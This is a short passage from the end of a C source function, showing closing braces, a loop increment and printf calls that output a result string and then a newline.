                }
                printf("%s", res);
            }
        }
        ++i;
    }
    printf("\n");
}